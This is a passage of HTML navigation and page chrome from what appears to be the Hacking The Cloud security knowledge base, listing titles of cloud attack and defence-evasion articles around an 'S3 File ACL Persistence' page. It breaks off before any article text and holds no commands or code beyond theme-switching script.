d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> S3 File ACL Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#requirements class=md-nav__link> <span class=md-ellipsis> Requirements </span> </a> </li> <li class=md-nav__item> <a href=#purpose class=md-nav__link> <span class=md-ellipsis> Purpose </span> </a> </li> <li class=md-nav__item> <a href=#background-on-sensitive-s3-use-cases class=md-nav__link> <span class=md-ellipsis> Background on Sensitive S3 Use Cases </span> </a> </li> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#key-considerations class=md-nav__link> <span class=md-ellipsis> Key Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span 